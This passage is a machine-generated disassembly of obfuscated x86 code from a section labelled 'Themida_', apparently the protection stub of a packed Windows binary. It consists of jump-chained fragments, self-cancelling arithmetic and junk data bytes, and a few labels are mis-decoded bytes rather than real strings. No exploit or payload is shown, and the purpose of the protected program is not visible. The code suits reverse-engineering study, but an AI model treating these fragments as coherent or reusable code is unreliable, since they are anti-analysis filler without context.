loc_556F8B:				; CODE XREF: Themida_:0055BC34j
		sub	eax, ecx
		jmp	loc_55DD35
; ---------------------------------------------------------------------------
aPh		db 'PhŇ',7,0
		align 4
		dd 88241489h, 0D18851DAh, 0FF59CC88h, 148B2434h, 4C48324h
		dd 8804C483h, 885B58E5h, 2434FF28h
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55403F
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 29h
		dd 0F6A7C380h, 90F380D3h, 515BDA00h, 88D0E9h, 4C58100h
		dd 83000000h, 59E904EDh, 89000032h, 4C581E5h, 81000000h
		dd 4C5h, 242C8700h, 0E11DE9h, 0B6C58100h, 8113FE16h, 0A15273F5h
		dd 5DEB0164h, 0E9241C87h, 0B938h, 1596F781h, 0F8013CF4h
		dd 0E9243C8Bh, 32Bh
; ---------------------------------------------------------------------------

loc_557020:				; CODE XREF: Themida_:00561E82j
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_550C0A
; ---------------------------------------------------------------------------

loc_557040:				; CODE XREF: Themida_:00561E71j
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------

loc_557048:				; CODE XREF: Themida_:0055ACD7j
		sub	edx, 4EE97163h
		inc	edx
		add	edx, 0BAADCF7Fh
		add	ebp, edx
		pop	edx
		jmp	loc_56112A
; ---------------------------------------------------------------------------

loc_55705D:				; CODE XREF: Themida_:00557B22j
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 51174768h
		jmp	loc_555955
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 5B2414F7h, 55EBC381h, 0BF570A9Ch, 0F3040B8h,	4E6AE781h
		dd 50512F04h, 3F7715B8h, 58C18913h, 0FFAB1CE9h,	241C8BFFh
		dd 4C481h, 0BF570000h, 2, 0FFE34BE9h, 4C381FFh,	0E9000000h
		dd 6E9Eh, 34FFD030h, 0EB3AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5570CA:				; CODE XREF: Themida_:00551EA9j
		sub	edx, 2E787DA9h
		sub	edx, eax
		add	edx, 2E787DA9h
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 72D66A05h
		sub	esp, 4
		jmp	loc_553FE2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2BF5700h, 810AD83Bh, 0B02BEEE7h, 8EFC106h, 604FEF81h
		dd 0EF81586Bh, 0A7972FD8h, 0E95FFD01h, 0CB7Dh, 55BD821h
		dd 12E82338h, 95E9C301h, 2D0000E4h, 150921EFh, 3C58E9h
		dd 243C8900h, 446483BFh, 89D9E94Fh, 215E0000h, 0E9C15FF9h
		dd 61FB6806h, 58E90000h, 29000095h, 0DEF75DEEh,	8F6BF681h
		dd 0F101D2AAh, 0FFD8E0E9h, 8BE901FFh, 0C483242Ch, 0E6E95104h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55716F:				; CODE XREF: Themida_:0055D484j
		pop	ebp
		and	ebp, 3EB51B5Ah
		sub	ebp, 26A027BEh
		sub	ebp, 0C303541Eh
		jmp	loc_5616A5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9241489h, 0EA1Fh, 0C800DFB1h, 75C0E9h, 57565F00h
		dd 0FFA9D7E9h, 0B4F381FFh, 0F714E1F8h, 73D868D3h, 14890000h
		dd 0FFFFBA24h, 0D329FFFFh, 0F4F3815Ah, 81D201A7h, 0E22866E9h
		dd 81D9011Ch, 0E22866C1h, 0B972E91Ch, 480FFFFh,	148ABD24h
		dd 4C48324h, 0FFC081E9h, 1D9A68FFh, 4890000h, 0FA885224h
		dd 88D38853h, 0C0E95BD8h, 89FFFFB9h, 0CCE92414h, 0F7FFFFFCh
		dd 39E942D2h, 52000005h, 0F25036BAh, 0E8E2E966h, 815B0000h
		dd 4ECh, 241C8900h, 59477368h, 51E95B62h, 81FFFFEEh, 5E2478C2h
		dd 14875865h, 24248B24h, 24048B66h, 788768h, 0D590E900h
		dd 535A0000h, 28C6BF57h, 21BB7735h, 1BD3529h, 7CC8E9FBh
		dd 0E9590000h, 9935h, 24048B66h, 4EC8351h, 68242489h, 1CD5h
		dd 0BD242C89h, 4, 4246C01h, 81242C8Bh, 4C4h, 240C8B00h
		dd 0FFF875E9h, 4C481FFh, 81000000h, 0A3277C1h, 0E59CE909h
		dd 4B8FFFFh, 81000000h,	0D744E2EFh, 0F7E1E97Dh,	0C701FFFFh
		dd 28F9C781h, 48B7591h,	4C48124h, 83000000h, 3C8702EFh
		dd 24248B24h, 243C8966h, 2474FF66h, 665F6602h, 0E924048Fh
		dd 3A04h, 0E92434FFh, 0CADAh, 4C181h, 0E6E90000h, 5B00003Ah
		dd 0F5EFEE81h, 8705E93Bh, 525E8F7Eh, 921EFBAh, 0E9D00115h
		dd 0FFFFA856h, 4245C01h, 4244481h, 11F5200Ah, 0A407E9h
		dd 243C3300h, 0E936E9h,	24343300h, 8CA8E9h, 4C48300h, 28C5B450h
		dd 0CB8858E1h, 0E92434FFh, 0FFFFFF1Eh, 0BAF28058h, 148BD000h
		dd 4C48324h, 0A6E99D04h, 81FFFFCEh, 4C4h, 1AD62D00h, 89E900A2h
		dd 89FFFFA5h, 0E589242Ch, 34B85052h, 35295F23h,	0E5E1F85h
		dd 0CEE9C289h, 5F000061h, 1059832Dh, 31FE2D25h,	0E82957C8h
		dd 0C831FE05h, 83BA5257h, 1251059h, 73055AD0h, 5D76D835h
		dd 1FBB5351h, 0E962BD13h, 0FFFFFE67h
; ---------------------------------------------------------------------------

loc_5573A0:				; CODE XREF: Themida_:0055A497j
		sub	eax, 0DD85427h
		jmp	loc_56051A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0FFBD83E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5573B5:				; CODE XREF: Themida_:00561856j
		add	ebx, ecx
		add	ebx, 4E7E18C0h
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_551B49
; ---------------------------------------------------------------------------
		dw 0DA89h
		dd 243C8B5Bh, 104C483h,	3FE95AD3h, 5C00006Dh, 0FFEC08E9h
		dd 80CAFEFFh, 0F4E951F2h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5573F3:				; CODE XREF: Themida_:005581A3j
		add	edi, ecx
		jmp	loc_562E03
; ---------------------------------------------------------------------------
		dw 814Dh
		dd 0CF5566C5h, 0CFCD8143h, 8119A051h, 0B5280AEDh, 5DE9091Fh
		dd 0FFC30BE9h, 24248BFFh, 0FFF4C2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55741D:				; CODE XREF: Themida_:00565AA0j
		add	ebx, edx
		add	ebx, 37AC292Dh
		mov	edx, [esp]
		jmp	loc_55F533
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 72F6E9h, 5BDD0100h, 0E904C583h, 0A571h, 8704C383h, 0F9E9241Ch
		dd 5100007Ah, 8E0501B9h, 81D9F740h, 992D88E1h, 50B0E90Fh
		dd 89510000h, 4A80E9E1h, 0EC810000h, 4,	89243C89h, 4BA52E7h
		dd 1000000h, 0EF815AD7h, 4, 0E9243C87h,	0B9F3h
; ---------------------------------------------------------------------------

loc_557488:				; CODE XREF: Themida_:0055A436j
		mov	eax, 4D7E4C76h
		sub	edx, eax
		pop	eax
		sub	edx, 101C44DCh
		add	edx, 2363727Eh
		add	edx, ebx
		sub	edx, 2363727Eh
		add	edx, 101C44DCh
		add	edx, 4D7E4C76h
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_559D9C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0F0E92434h, 8100001Bh, 3F3568CFh, 6EF78129h,	81BBBF35h
		dd 726287C6h, 81FE015Eh, 726287EEh, 0EC815F5Eh,	4, 0FF243489h
		dd 5E042474h, 8B24048Fh, 33E92424h, 0BF000032h,	2E3D386Ch
		dd 6C46CF81h, 5750028Bh, 0A3CEE9h, 0E9E88800h, 0FFFFEE30h
; ---------------------------------------------------------------------------

loc_557518:				; CODE XREF: Themida_:0055E97Fj
		pop	ecx
		push	edx
		jmp	loc_55C1BB
; ---------------------------------------------------------------------------
		db 53h
		dd 15E95B54h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557527:				; CODE XREF: Themida_:0056261Cj
		mov	ecx, esi
		pop	esi
		jmp	loc_5644ED
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4ED8100h, 33000000h, 2C31242Ch, 242C3324h, 0C808E9h
		dd 4C48300h, 0E904C483h, 0B20Ah, 0B850C301h, 53B31D60h
		dd 0E6AE8A2Dh, 0BBB7E949h, 8B54FFFFh, 0C4832414h, 0EC835704h
		dd 24148904h, 0F66F6668h, 25E95A3Ch, 81000000h,	0EB73F5C6h
		dd 0A80BE945h, 0BD55FFFFh, 76AE1865h, 0E905EDC1h, 2A27h
		dd 2414F756h, 0E92434FFh, 7951h, 55CA8142h, 8128EF7Dh
		dd 0E4973DC2h, 0C8CBE90Eh, 348BFFFFh, 4C48324h,	5C24048Fh
		dd 8904EC83h, 0E9542404h, 0CD35h, 0F792DAF7h, 525592D0h
		dd 8E00DCBAh, 1199E914h, 57550000h, 6009F2BFh, 5FFD894Dh
		dd 8012E945h, 0FE880000h, 36BBE9h, 2DCE0500h, 815A6556h
		dd 184151EFh, 24C7816Ch, 1139479h, 24EF81C7h, 81139479h
		dd 184151C7h, 24048B6Ch, 5E08950h, 4, 42Dh, 0DC27E900h
		dd 0BD550000h, 2C1E2069h, 8106E5C1h, 0A6167E5h,	81C5811Bh
		dd 0E94D9B3Bh, 0FFFFF9B5h, 83243C8Bh, 0C70104C4h, 582434FFh
		dd 40DA68h, 240C8900h, 94E9E189h, 89000069h, 19E92404h
		dd 0F6000013h, 5573E9DCh, 0E9810000h, 2EDE08BBh, 83241C8Bh
		dd 0AEE904C4h, 810000A6h, 0FDC98EC5h, 5DE88934h, 0E95AD001h
		dd 94ECh, 695968h, 240C8900h, 8404E4B9h, 0E0F18134h, 1348404h
		dd 0EC8159C8h, 4, 0B9240C89h, 4, 4021F82Dh, 5C8012Ah, 2A4021F8h
		dd 5462E959h, 4E460000h, 2B7B951h, 0E1C17E79h, 17BE5606h
		dd 0E926CC00h, 0DC79h, 26866h, 243C8B66h, 4381E9h
		db 0
; ---------------------------------------------------------------------------

loc_5576E9:				; CODE XREF: Themida_:00551226j
		add	esi, 75A25212h
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_557B14
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB53243Ch, 195234A4h, 0FFFFC381h, 65E9FFFFh, 1000000h
		dd 23EE81FEh, 5F795211h, 0FF916DE9h, 0E4E95AFFh
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557723:				; CODE XREF: Themida_:005648C0j
		push	ebx
		push	eax
		pop	ebx
		mov	esi, ebx
		jmp	loc_550B23
; ---------------------------------------------------------------------------
aST		db '˛˝é[t',0
		align 4
		dd 8324048Bh, 0E95704C4h, 4EE9h, 50E9E2D1h, 660000DFh
		dd 5624048Bh, 8104EC83h, 4ECh, 48F5400h, 24048324h, 24048F04h
		dd 4240481h, 0E9000000h, 0FFFFC18Ah, 0E904EC83h, 3D80h
		dd 0C104EBC1h, 65E902EBh, 52FFFFAAh, 0F7139DBAh, 6CC28139h
		dd 0E95B6A49h, 0FFFFFA6Fh, 0C06BE981h, 0C83109DAh, 58C60159h
		dd 3C95E9h, 24343100h, 8B243433h, 0BAE92424h, 5900006Dh
		dd 97DEE9h
		db 0
; ---------------------------------------------------------------------------

loc_5577B5:				; CODE XREF: Themida_:00561939j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_562C8D
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0BEE6h, 24048B66h, 0B43FE9h, 3DE95000h
		dd 0FF00000Ah, 5F042474h, 8B24048Fh, 0BE562424h, 673031B3h
		dd 0DE87DEF7h, 0DE87D3F7h, 34A4CE81h, 0E6811B66h, 364573BBh
		dd 31B3F681h, 0F1293644h, 5EBAE9h, 41F06800h, 2C890000h
		dd 0AFE95324h, 89000081h, 24148BD0h, 0E9E38953h, 0FFFFC8F5h
; ---------------------------------------------------------------------------

loc_557824:				; CODE XREF: Themida_:0055156Bj
		mov	eax, 47C377AFh
		xor	eax, 285474EDh
		jmp	loc_562CF0
; ---------------------------------------------------------------------------

loc_557833:				; CODE XREF: Themida_:00552EA2j
		mov	ch, 4Ah
		add	ch, al
		pop	eax
		add	ch, 0B3h
		shl	ch, 8
		jmp	loc_55DEA7
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFD87DE9h, 8BD2E9FFh, 148BFFFFh, 90A1E924h,	2C8B0000h
		dd 4C48124h, 81000000h,	4C3h, 241C8700h, 0C5B4E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55786E:				; CODE XREF: Themida_:00554ABFj
		mov	eax, [esp]
		push	ecx
		jmp	loc_55478F
; ---------------------------------------------------------------------------
		db 0B9h
		dd 6AF94FC1h, 1E9C829h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557883:				; CODE XREF: Themida_:0055E639j
		mov	esi, [esp]
		add	esp, 4
		and	edx, 0B4D557Fh
		sub	edx, 965829BEh
		jmp	loc_562F19
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 4C481h, 68550000h, 7DC8h,	24048F54h, 8BDBE957h
		dd 515D0000h, 9147DEB9h, 59C80135h, 5B2434FFh, 5104C483h
		dd 0D676E9h
		db 0
; ---------------------------------------------------------------------------

loc_5578CD:				; CODE XREF: Themida_:00563BEEj
		pop	edx
		jmp	loc_55121E
; ---------------------------------------------------------------------------
		db 81h
		dd 927902E9h, 8DD4E93Eh, 34FF0000h, 89575B24h, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 2B8505Ch, 1000000h, 0C3358C1h
		dd 240C3124h, 8B240C33h, 8B662424h, 71682404h, 89000064h
		dd 0E6892434h, 4C681h, 0E9570000h, 2520h
; ---------------------------------------------------------------------------

loc_557924:				; CODE XREF: Themida_:00560ADAj
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_550FF2
; ---------------------------------------------------------------------------
a1SC		db '1ĘéÖC',0
		align 4
aISysad		db 'ľ› čY靄',0
		align 2
		dw 0C9B6h
		dd 0FE65B753h, 0B05066C7h, 66C72059h, 0C203E958h, 0C301FFFFh
		dd 1430C381h, 5EE96D37h, 50000024h, 8AB6E99Ch, 5258FFFFh
		dd 0FFC073E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557971:				; CODE XREF: Themida_:00558461j
		push	61CAh
		mov	[esp], eax
		jmp	loc_5594D1
; ---------------------------------------------------------------------------
a5Ftuh@szk	db '5`fâUH@ézŞ',0
		align 2
		dw 5B54h
		dd 4C381h, 52E90000h
		db 0D9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_557997:				; CODE XREF: Themida_:005535F1j
		add	edx, 6E3C4A97h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559DA5
; ---------------------------------------------------------------------------
		db 89h
		dd 5750241Ch, 640D2EBFh, 87D8E916h, 0CDB60000h,	89E9F300h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5579C3:				; CODE XREF: Themida_:00565064j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55CC44
; ---------------------------------------------------------------------------

loc_5579CE:				; CODE XREF: Themida_:00561150j
		push	1FABh
		mov	[esp], edx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55B959
; ---------------------------------------------------------------------------
		dd offset dword_457444+224h
		dd 241C8900h, 43F7E9h, 2E3C100h, 6BB3EB81h, 0DD29C9FFh
		dd 0FFCB02E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557A01:				; CODE XREF: Themida_:00562E19j
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, esp
		jmp	loc_557F04
; ---------------------------------------------------------------------------

loc_557A0C:				; CODE XREF: Themida_:0055056Cj
		mov	edi, 15480C8Bh
		xor	edi, 48102401h
		xor	edi, 5D58288Eh
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_563BA8
; ---------------------------------------------------------------------------
		db 95h
		dd 7634255Dh, 0E0C1788Eh, 54D70D03h, 0D32D21E5h, 1A5F7F4h
		dd 6181E9C7h, 0EE810000h, 8A64686h, 0C681EE01h,	8A64686h
		dd 0DAE95A5Dh, 9FFFFEAh, 0EFC15AD7h, 0B8F78102h, 81483941h
		dd 64270FEFh, 0A6EDE98Ah, 34FF0000h, 24148B24h,	0AB5AE9h
		dd 2FC68100h, 89F93B46h, 6995E9F7h, 89570000h, 4BA52E7h
		dd 1000000h, 2AE95AD7h,	29000081h, 0C875DE9h, 0D3DDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557AA2:				; CODE XREF: Themida_:0055646Ej
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5520B2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	0F47h
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_559000
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF894Ch, 68241489h, 519D6943h, 8324148Bh,	4E904C4h
		dd 580000B4h, 24148B56h, 0AACE9h, 6ABF5700h, 557CE23Ah
		dd 542447BDh, 4DE58159h, 810AC81Dh, 0DDC155C5h,	5DEF017Ah
		dd 0E95FF801h, 0FFFFB00Dh
; ---------------------------------------------------------------------------

loc_557B14:				; CODE XREF: Themida_:005576F6j
		pop	esp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_55705D
; ---------------------------------------------------------------------------
		db 0BFh
		dd 29A44803h, 3722EF81h, 0F8292812h, 24348B5Fh,	81E28952h
		dd 4C2h, 0CB86E900h, 148B0000h,	4C48124h, 1000000h, 6BE959CDh
		dd 8700004Eh, 0E95C243Ch, 0FFFFA433h, 5EB815Dh,	1454334h
		dd 5C381CBh, 0E9454334h, 0FFFFD44Ah, 1B0C281h, 0D7894F4Ch
		dd 0A11E95Ah, 0C7010000h, 5E96E9h
		db 0
; ---------------------------------------------------------------------------

loc_557B89:				; CODE XREF: Themida_:0055515Bj
		mov	ebp, [esp]
		jmp	loc_55B850
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 2
		dd 0E9000000h, 5B31h
; ---------------------------------------------------------------------------

loc_557B9C:				; CODE XREF: Themida_:00553490j
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	bl, 0FAh
		jmp	loc_556473
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 0FFEADEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557BC1:				; CODE XREF: Themida_:0055355Dj
		pop	edi
		push	edi
		mov	edi, 14E8083Ch
		sub	edi, 33171AC5h
		neg	edi
		push	ebx
		mov	ebx, 31CB2A5Dh
		jmp	loc_55EE41
; ---------------------------------------------------------------------------
		db 81h
		dd 1A3EB0C6h, 36F6816Fh, 810A6A15h, 66C701F6h, 110105FEh
		dd 0F0013F36h, 3611012Dh, 0C0835E3Fh, 24048704h, 0E289525Ch
		dd 4B850h, 0C2810000h, 20CC02BEh, 0EA81C201h, 20CC02BEh
		dd 582434FFh, 81E28952h, 4C2h, 4C28300h, 7B94E9h, 2434FF00h
		dd 7C91E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557C36:				; CODE XREF: Themida_:005561CBj
		mov	ecx, 297A170Ch
		add	ebx, ecx
		jmp	loc_563E16
; ---------------------------------------------------------------------------
		dw 53B1h
		dd 5352C1FEh, 9C1E9h, 0E9FB0100h, 0C196h, 0A7685357h, 5B5F7255h
		dd 1E65BA52h, 0F28143E7h, 382607FAh, 0BBEE281h,	95E94F14h
		dd 89000045h, 5ABE2434h, 0E9300F74h, 0FFFFEA09h
; ---------------------------------------------------------------------------

loc_557C80:				; CODE XREF: Themida_:00565CB1j
		sub	ecx, edi
		pop	edi
		pop	eax
		add	ecx, eax
		jmp	loc_55EE1B
; ---------------------------------------------------------------------------
		db 0BFh
		dd 524E20F4h, 12FE781h,	814F280Bh, 9FF9F1C7h, 8BFD0186h
		dd 0C483243Ch, 5DEE8904h, 0EB10C681h, 0F3018E34h, 5E2434FFh
		dd 4C481h, 0BD550000h, 4, 0A6E9EB01h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557CC7:				; CODE XREF: Themida_:00560A13j
		pop	ecx
		jmp	loc_56477B
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 3B68F1F7h, 89000047h, 9C502414h, 0FF873FE9h,	55595BFFh
		dd 0E9E08950h, 92FFh, 582434FFh, 509BE953h, 0EF810000h
		dd 67FC547Fh, 0FFF7CAE9h, 243C87FFh, 240C895Ch,	0C7B5E9h
		dd 34FF5400h, 62E95B24h, 660000D5h, 0E924048Bh,	0FFFFEED0h
; ---------------------------------------------------------------------------

loc_557D20:				; CODE XREF: Themida_:0055D2A1j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5646DB
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	525Eh
		jmp	loc_5585AB
; ---------------------------------------------------------------------------
		db 0F6h, 0DFh, 50h
		dd 0E4802FB4h, 91E4807Bh, 0B353DCF6h, 0B8C38049h, 0FE5BDC28h
		dd 50F480CCh, 48BE728h,	4C48124h, 0E9000000h, 0FFFFF882h
		dd 5958C289h, 4B74C781h, 0D7296C64h, 0E135E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557D7E:				; CODE XREF: Themida_:005635A8j
		add	ebx, 2F5E63F5h
		add	ebx, 6A2EF4Ch
		jmp	loc_55433D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 3AB04226h, 0EB426EBEh, 64EE8148h, 81066B71h,	0AB65A7C6h
		dd 0E9EE2908h, 0FFFFCF0Eh, 0BD242C89h, 2B0257E6h, 0E907E5C1h
		dd 2DC4h, 4C381h, 0BA520000h, 3C046F1Bh, 6D4FE9h, 51CB0100h
		dd 0FC7343B9h, 59CB297Eh, 0DA50E9h, 94056600h, 1C8B6665h
		dd 72CE6824h, 2C890000h, 81E58924h, 4C5h, 0DAC7E900h, 48B0000h
		dd 4C48124h, 66000000h,	8766D9F7h, 0D5F766E9h, 66E98766h
		dd 5366D1F7h, 5BAFBB66h, 0E9D93166h, 0FFFFB5E3h
; ---------------------------------------------------------------------------

loc_557E20:				; CODE XREF: Themida_:0055B85Cj
		xchg	ebx, [esp]
		pop	esp
		shr	edx, 2
		push	ecx
		mov	ecx, 14D86B32h
		or	ecx, 64B0266h
		shl	ecx, 8
		push	edi
		mov	edi, 35EB1B41h
		push	ebx
		mov	ebx, 0AB63CED6h
		sub	edi, ebx
		pop	ebx
		jmp	loc_561325
; ---------------------------------------------------------------------------

loc_557E4A:				; CODE XREF: Themida_:0055E01Dj
		push	5E0Fh
		jmp	loc_5595C8
; ---------------------------------------------------------------------------

loc_557E54:				; CODE XREF: Themida_:0055AD00j
		add	ebp, 9043658h
		sub	ebp, edi
		sub	ebp, 9043658h
		pop	edi
		push	ebx
		mov	ebx, 0
		jmp	loc_551AA8
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 4F68240Ch, 8900000Fh, 8EE92414h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557E7F:				; CODE XREF: Themida_:00562B81j
		push	ecx
		pop	eax
		jmp	loc_5611A2
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 1410E5Ah, 38DAE9h, 0C8C98100h, 50514248h, 0ABE8ACB8h
		dd 58C129CFh, 2D59CB89h, 7F57843h, 0FFCC17E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557EAD:				; CODE XREF: Themida_:005631F8j
		pop	edx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_55448D
		push	19ADh
		mov	[esp], ebx
		push	68BAh
		mov	[esp], ebp
		push	378C5DAAh
		jmp	loc_5636BF
; ---------------------------------------------------------------------------
		db 5Bh
		dd 104C483h, 90F2DD8h, 1C8B50F3h, 4C48324h, 31240433h
		dd 4332404h, 0AEE95C24h, 0C1FFFFC1h, 0D14208EAh, 38BF57EAh
		dd 0E96FDF32h, 0DA55h
; ---------------------------------------------------------------------------

loc_557F04:				; CODE XREF: Themida_:00557A07j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	37AA187Ch
		pop	esi
		sub	esi, 37AA1878h
		jmp	loc_56556F
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 7D34A368h, 2434FF61h, 4C48159h, 53000000h, 844F5DBBh
		dd 15E38148h, 8173BF6Ch, 0AAACB3C3h, 5BD90197h,	44268h
		dd 240C8900h, 240C8B5Eh, 0C89BE955h, 0DEF7FFFFh, 99E9F287h
		dd 0C1000084h, 0BE5607EFh, 1E3F3CECh, 20E8E9h, 81E58900h
		dd 4C5h, 4ED8100h, 87000000h, 895C242Ch, 1B62414h, 0E983C180h
		dd 0FFFF8A31h, 5351F9B0h, 0D8E9C388h, 66FFFFE2h, 300FB450h
		dd 815866E5h, 4ECh, 24148900h, 8851EA88h, 59CF88D1h, 8124148Bh
		dd 4C4h, 240C8B00h, 3B2BE9h, 0CE295B00h, 66EDE959h, 0E9520000h
		dd 0FFFF98BAh, 7CE6C281h, 835E3CCBh, 48904ECh, 4B824h
		dd 0C2010000h, 24143358h, 0E9241431h, 0C8CDh, 5E08950h
		dd 4, 205h, 24048700h, 0CDEB805Ch, 0E92BC380h, 17F1h, 240C8B66h
		dd 14AD68h, 242C8900h, 815F5457h, 4C7h,	0C2E95000h, 52FFFFDBh
		dd 0E81681BAh, 45CA8159h, 8331467Dh, 69E904ECh,	0F6FFFFFDh
		dd 0E9D6F6D6h, 0FFFFD159h, 8158C229h, 1E6558C2h, 0C6A0E94Ch
		dd 0C581FFFFh, 309210DEh, 7436CD81h, 0F5815212h, 0FC986395h
		dd 0EAE9EA89h, 880000B7h, 59CF88C1h, 239AE9h, 1BE95D00h
		dd 89FFFFA3h, 4C581E5h,	83000000h, 2C8704C5h, 0EAE95C24h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558097:				; CODE XREF: Themida_:005546ACj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5601FA
; ---------------------------------------------------------------------------
		db 51h
		dd 0F580B9B5h, 80CDFEBDh, 7AE906EDh, 0BD0000D1h, 79B912B0h
		dd 1F3BF57h, 0EEE94BE9h, 56000071h, 7F243481h, 5825F22Ah
		dd 0F22A7F35h, 24348B25h, 4C481h, 0F8010000h, 81243C8Bh
		dd 4ECh, 240C8900h, 0C181E189h,	4, 8704C183h, 255C240Ch
		dd 3A56393Ch, 9621C02Dh, 0D353E939h, 8B66FFFFh,	68502404h
		dd 319Bh, 0FF92D4E9h, 240C89FFh, 42474FFh, 47EAE9h, 0B8B25200h
		dd 0CBA5E9h, 1FC06800h,	14890000h, 803EB624h, 0B55114EEh
		dd 48E2E929h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558146:				; CODE XREF: Themida_:00561806j
		not	edi
		push	edx
		push	esi
		mov	esi, 23245E2Bh
		jmp	loc_561CCD
; ---------------------------------------------------------------------------
		dd 3780ED81h, 0EB29E97Ah, 81EB015Dh, 7B2E73C3h,	91E3E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55816A:				; CODE XREF: Themida_:0055BD8Fj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55A757
; ---------------------------------------------------------------------------
		dd offset dword_43DECC+4A9Ch
		align 4
		dd 68243489h, 683A130Ah, 0FFE5FFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558185:				; CODE XREF: Themida_:0055635Dj
		mov	edx, 15D101A2h
		mov	edi, 15D501A2h
		sub	edi, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		sub	edi, 6FA0563Ah
		jmp	loc_5573F3
; ---------------------------------------------------------------------------
		dd 3C87CF31h, 2434FF24h, 0C8E6858h, 1C890000h, 0B55CE924h
		dd 3C8BFFFFh, 4C48124h,	81000000h, 4C7h, 4BB5300h, 1000000h
		dd 3AE95BDFh, 5DFFFFF1h, 4C481h, 89570000h, 1F85E9E7h
		dd 0DD890000h, 69CFE9h,	242C8700h, 0C1CE9h, 0C8B6600h
		dd 2C48124h, 0E9000000h, 62FDh,	2F3F84B9h, 0E9CF2926h
		dd 0A66Eh, 0C4807BB4h, 0F6D4F6B2h, 0E9C4FEDCh, 0FFFF8E56h
		dd 4BAh, 5AD52900h, 2474FF55h, 48F5D04h, 2C895C24h, 2E34BD24h
		dd 0C681077Eh, 27F572Fh, 0B5E9EE01h, 29FFFFCFh,	241C8BD8h
